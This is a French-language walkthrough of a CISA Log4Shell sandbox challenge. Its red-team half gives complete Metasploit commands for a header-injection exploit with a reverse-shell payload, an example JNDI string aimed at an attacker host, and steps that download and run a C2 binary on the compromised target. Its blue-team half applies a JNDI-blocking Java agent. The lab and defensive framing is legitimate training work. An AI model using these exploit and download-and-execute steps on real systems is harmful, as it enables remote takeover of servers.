Guide pas à pas du défi sandbox Log4Shell de la CISA, couvrant l'exploitation offensive via Metasploit et la mitigation défensive à l'aide d'un agent Java JNDI-be-gone.
Cette procédure pas à pas documente les étapes suivies pour réaliser le Défi Sandbox de Menaces de la CISA pour CVE-2021-44228, communément appelé Log4Shell. Le défi impliquait la réalisation de deux objectifs — un pour l'équipe rouge (offensif) et un pour l'équipe bleue (défensif) — contre un fournisseur de services gérés (MSP) fictif nommé DasMSP dans un environnement sandbox isolé.
Remarque : Les commandes et chemins de fichiers dans cette procédure reflètent les étapes spécifiques effectuées dans cet environnement. Votre environnement peut différer, y compris les adresses IP, les emplacements de fichiers et la disponibilité des outils. Adaptez les commandes selon votre configuration.
CVE-2021-44228 est une vulnérabilité critique d'exécution de code à distance (RCE) (CVSS 10.0) affectant des versions spécifiques du framework de journalisation Java Apache Log4j. La vulnérabilité provient de la fonctionnalité de recherche JNDI de Log4j, qui peut être déclenchée en injectant une chaîne spécialement conçue telle que ${jndi:ldap://attaquant.com/exploit} dans toute donnée que Log4j enregistre. Si un attaquant parvient à faire enregistrer une chaîne malveillante par une application vulnérable — généralement via les en-têtes HTTP — Log4j contactera le serveur contrôlé par l'attaquant et exécutera du code arbitraire.
Log4Shell a été ajouté au catalogue des vulnérabilités connues exploitées (KEV) de la CISA le 10 décembre 2021, et est apparu dans les avis conjoints sur les vulnérabilités les plus fréquemment exploitées pour 2021 et 2022.
| Machine | IP |
|---|---|
| Security-Desk | <Security-Desk-IP> |
| Cible Rouge | <Red-Target-IP> |
| Cible Bleue | <Blue-Target-IP> |
Les deux systèmes cibles sont des Linux et exécutent une application web Java vulnérable (dasmsp.jar) utilisant une version affectée de Log4j.
exploit/multi/http/log4shell_header_injection)Ouvrez un terminal sur le Security-Desk et lancez Metasploit :
msfconsole
Le chemin du module fourni dans le briefing ne correspondait pas à la version installée. Recherche du module correct :
search log4shell
Module correct identifié : exploit/multi/http/log4shell_header_injection.
use exploit/multi/http/log4shell_header_injection
set RHOSTS <Red-Target-IP>
set RPORT 80
set SRVHOST <Security-Desk-IP>
set PAYLOAD java/shell_reverse_tcp
set LHOST <Security-Desk-IP>
run
Metasploit a automatiquement testé plusieurs en-têtes HTTP pour la vulnérabilité Log4Shell. La Cible Rouge a été confirmée vulnérable sur plusieurs en-têtes (Authorization, Cache-Control, User-Agent, X-Forwarded-For, et autres). Une session de shell de commande a été ouverte sur la Cible Rouge.
Accès root confirmé sur la Cible Rouge :
id
Sortie : uid=0(root) gid=0(root) groups=0(root)
Le binaire deploy_c2 se trouvait sur le Security-Desk, pas sur la Cible Rouge. Ni wget ni une référence de chemin direct n'étaient disponibles sur la cible. Ouvrez un deuxième terminal sur le Security-Desk et servez le fichier via Python :
cd ~/Desktop/Resources
python3 -m http.server 8080
De retour dans la session shell Metasploit sur la Cible Rouge, téléchargement et exécution du binaire :
curl http://<Security-Desk-IP>:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2
Sortie : Done!
✅ Écouteur C2 déployé sur la Cible Rouge - vérification confirmée.
La méthode d'atténuation utilisée est l'agent Java log4j-jndi-be-gone-standalone.jar développé par NCC Group, qui corrige le comportement de recherche JNDI au moment de l'exécution sans nécessiter de correctif de l'application sous-jacente. Les détails sur cet agent se trouvent sur le blog de recherche de NCC Group.
Depuis le terminal du Security-Desk, utilisez SCP pour transférer le fichier JAR de l'agent :
scp ~/Desktop/Resources/log4j-jndi-be-gone-standalone.jar playerone@<Blue-Target-IP>:/tmp/
ssh playerone@<Blue-Target-IP>
sudo nano /etc/systemd/system/dasmsp.service
Localisez la ligne ExecStart et ajoutez le flag -javaagent :
Avant :
ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -jar /opt/dasmsp.jar
Après :
ExecStart=/usr/lib/jvm/nvidia-java-8-openjdk-amd64/bin/java -javaagent:/tmp/log4j-jndi-be-gone-standalone.jar -jar /opt/dasmsp.jar
Enregistrez avec Ctrl+O → Entrée → Ctrl+X.
sudo systemctl daemon-reload
sudo systemctl restart dasmsp
✅ CVE-2021-44228 atténuée sur la Cible Bleue - vérification confirmée.